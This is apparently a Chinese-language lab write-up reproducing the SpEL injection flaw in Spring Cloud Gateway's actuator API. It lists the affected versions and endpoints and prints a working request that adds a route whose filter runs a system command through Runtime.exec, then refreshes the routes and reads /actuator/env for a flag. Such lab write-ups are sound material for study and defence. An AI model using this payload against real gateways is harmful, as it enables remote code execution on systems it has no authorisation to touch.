Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。
影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的 Spring Cloud Gateway 版本
原理:
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
当使用 Spring Cloud Gateway 的应用对外暴露了 Gateway Actuator 接口,则可能存在被此漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意代码。
Spring cloud GateWay的actuator相关端点:
- 获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/
- 添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
- 删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
- 获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
- 刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh
其中,调用添加路由的端点时,可以向路由中加入filters
,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters
可以直接利用gateway自带的AddResponseHeader
,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。
复现:
开启靶场并访问抓包:
payload:构造包含恶意请求的路由,利用burpsuite进行发送
实操根据环境改变,例如可能要添加content-type
id 字段指定新路由的名称,必须全局唯一;
filters字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name 字段指定要添加的响应头;
args.value 字段指定响应头的值。这里的值是要执行的 SPEL 表达式,用于执行 “任意例如whoami” 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri 字段指定将客户端请求转发到 http://example.com。
POST /actuator/gateway/routes/test
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后刷新路由,以此应用刚添加的路由;发送如下数据包,此数据包会触发表达式执行
POST /actuator/gateway/refresh
访问env接口,获取flag:
GET /actuator/env
呃呃呃,当我再次重新打开靶场后,直接访问接口/actuator/env时发现,这flag不就在那躺着呢么???(好玩儿吧)
如果可以帮助到你,劳烦点点赞哦!
声明: 本文章仅供学习使用,不得用于未授权的渗透测试,禁止用于非法用途。